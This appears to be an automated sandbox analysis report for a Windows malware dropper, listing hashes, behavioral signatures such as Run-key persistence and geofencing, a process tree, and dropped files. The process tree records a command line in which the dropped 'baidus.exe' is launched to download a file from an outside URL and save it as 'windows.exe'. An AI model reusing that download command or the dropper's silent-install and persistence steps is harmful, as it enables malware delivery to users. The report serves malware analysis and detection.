Analysis
-
max time kernel
170s -
max time network
176s -
platform
windows10-2004_x64 -
resource
win10v2004-20220812-en -
resource tags
-
submitted
27-11-2022 13:02
General
-
Target
2e6d71ea5a964e35203aa41a739fd9b4a1fa1008095f10b4f9094423f2604e65.exe
-
Size
685KB
-
MD5
c3955e1a939254d0baba61e7b2975653
-
SHA1
1b5a5cb1f4eb10776d7ee8ca766e420cd6fa6c57
-
SHA256
2e6d71ea5a964e35203aa41a739fd9b4a1fa1008095f10b4f9094423f2604e65
-
SHA512
94a22ed7884399306a3ae64dc111295511b8fbcf35433c9bb065dbe9057dbb5fd2371cbd0584662d24031215b719eb19d1f2b3e8efcf0d0e4a7c8242ee2d6875
-
SSDEEP
12288:RtUBGy8Xz0MqcPHDc2YpKSouCsBvplyt1E5Mx8QVfqlrI+SyjDyD0lRWbk7SZ:UBaXz0MqcPHDc2YpKSo1sBh8t1E5MxZ/
Malware Config
Signatures
-
Executes dropped EXE 4 IoCs
-
Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
-
Adds Run key to start application 2 TTPs 2 IoCs
-
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Drops file in Program Files directory 10 IoCs
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Runs ping.exe 1 TTPs 1 IoCs
-
Suspicious behavior: EnumeratesProcesses 62 IoCs
-
Suspicious use of AdjustPrivilegeToken 1 IoCs
-
Suspicious use of FindShellTrayWindow 64 IoCs
-
Suspicious use of WriteProcessMemory 18 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\2e6d71ea5a964e35203aa41a739fd9b4a1fa1008095f10b4f9094423f2604e65.exe"C:\Users\Admin\AppData\Local\Temp\2e6d71ea5a964e35203aa41a739fd9b4a1fa1008095f10b4f9094423f2604e65.exe"1⤵
- Checks computer location settings
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\baidus.exe"C:\Program Files (x86)\baidus.exe" /VERYSILENT /SP-2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\is-RTNE4.tmp\baidus.tmp"C:\Users\Admin\AppData\Local\Temp\is-RTNE4.tmp\baidus.tmp" /SL5="$701C6,67416,56832,C:\Program Files (x86)\baidus.exe" /VERYSILENT /SP-3⤵
- Executes dropped EXE
- Checks computer location settings
- Adds Run key to start application
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\baidu\baidus.exe"C:\Program Files (x86)\baidu\baidus.exe"4⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
-
-
C:\Program Files (x86)\baidu\baidus.exe"C:\Program Files (x86)\baidu\baidus.exe" -u=http://a.vipcn8.com/test/3.txt -n=windows.exe4⤵
- Executes dropped EXE
-
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\HZ~E081.tmp.bat"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\PING.EXEping 127.0.0.1 -n 23⤵
- Runs ping.exe
-
-
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
18KB
MD56daf9e443cbc584c52f88c1c5890aa79
SHA1127d5d1d4463c176dedcc18c702daf354a34ff9e
SHA2561845a6842901f74e86f05741dbb688b63c54b5fbeaf33baea208041004f1e4bd
SHA512f10837c23bf0e4316351c793f4bb23f74ae1f860c55c50a323f2951a490c43336926d6e15742836c8ec398917d2c461be0a1ef61aec1d3e659f24594dd8db57d
-
Filesize
7KB
MD5b155d1a64ad43bdfc95ccaeac0cd6eae
SHA1a2f5c051ffff7a3cb2e9cdf7be916b02ab1f94fe
SHA256a83354ce6d20fc4042997ee553ac8aabe4734d0f15f5f85c2a1f1b0fd2db2015
SHA512a9a1f848f59073103489e185991a609f2ab66bc12db20ebf67475fe3bcec732169dee775e63d1e035f4f59450c742310c3c080c703a5ebea0c3ff907649a069f
-
Filesize
7KB
MD5b155d1a64ad43bdfc95ccaeac0cd6eae
SHA1a2f5c051ffff7a3cb2e9cdf7be916b02ab1f94fe
SHA256a83354ce6d20fc4042997ee553ac8aabe4734d0f15f5f85c2a1f1b0fd2db2015
SHA512a9a1f848f59073103489e185991a609f2ab66bc12db20ebf67475fe3bcec732169dee775e63d1e035f4f59450c742310c3c080c703a5ebea0c3ff907649a069f
-
Filesize
7KB
MD5b155d1a64ad43bdfc95ccaeac0cd6eae
SHA1a2f5c051ffff7a3cb2e9cdf7be916b02ab1f94fe
SHA256a83354ce6d20fc4042997ee553ac8aabe4734d0f15f5f85c2a1f1b0fd2db2015
SHA512a9a1f848f59073103489e185991a609f2ab66bc12db20ebf67475fe3bcec732169dee775e63d1e035f4f59450c742310c3c080c703a5ebea0c3ff907649a069f
-
Filesize
305KB
MD50f91865b8855efd8fd7805e15141d622
SHA17a73a294710cbf530410008c175f7abbfadd8e6f
SHA256d8a9112e4fa78352f01ab8247421a88d3d1b043974c8212b7277992eb11111f2
SHA512b87f40b9ab25b02e2650eff3ebda7c156f4c5991a540f3f0dcb2f864caf4304bc4be9f495f5c89adeb021bbcb54d53d9cf94b115bc5a8dde43fd7da277d97ed2
-
Filesize
305KB
MD50f91865b8855efd8fd7805e15141d622
SHA17a73a294710cbf530410008c175f7abbfadd8e6f
SHA256d8a9112e4fa78352f01ab8247421a88d3d1b043974c8212b7277992eb11111f2
SHA512b87f40b9ab25b02e2650eff3ebda7c156f4c5991a540f3f0dcb2f864caf4304bc4be9f495f5c89adeb021bbcb54d53d9cf94b115bc5a8dde43fd7da277d97ed2
-
Filesize
266B
MD5e5e32265dd5b1be1560ab3029a7a465a
SHA14fdc6c2e5a4d5648fdf3cd5d52897d436d03f2da
SHA25644b80154fbbb5e50e93d5203a0a6fbedf7de23c0a396e1de1c997a4a690d3e2b
SHA512e43259682895cc665ffa2bd4496da218c01e6725dedd6f9934f926c462217de6413fdf0b75f00d8a7ad0d563b670525d8e3650add67e5ad72d13c01a0ac3a4d1
-
Filesize
691KB
MD59303156631ee2436db23827e27337be4
SHA1018e0d5b6ccf7000e36af30cebeb8adc5667e5fa
SHA256bae22f27c12bce1faeb64b6eb733302aff5867baa8eed832397a7ce284a86ff4
SHA5129fe100fafb1c74728109667b5a2261a31e49c45723de748adaa1d9cb9f8daa389b871056c70066fa3a05be82a5017c8dd590ae149a56d824a9e250d31091a40f
-
Filesize
691KB
MD59303156631ee2436db23827e27337be4
SHA1018e0d5b6ccf7000e36af30cebeb8adc5667e5fa
SHA256bae22f27c12bce1faeb64b6eb733302aff5867baa8eed832397a7ce284a86ff4
SHA5129fe100fafb1c74728109667b5a2261a31e49c45723de748adaa1d9cb9f8daa389b871056c70066fa3a05be82a5017c8dd590ae149a56d824a9e250d31091a40f
-
Filesize
80KB
-
Filesize
80KB
-
Filesize
80KB
-
Filesize
28KB
-
Filesize
20KB
-
Filesize
28KB
-
Filesize
28KB
-
Filesize
28KB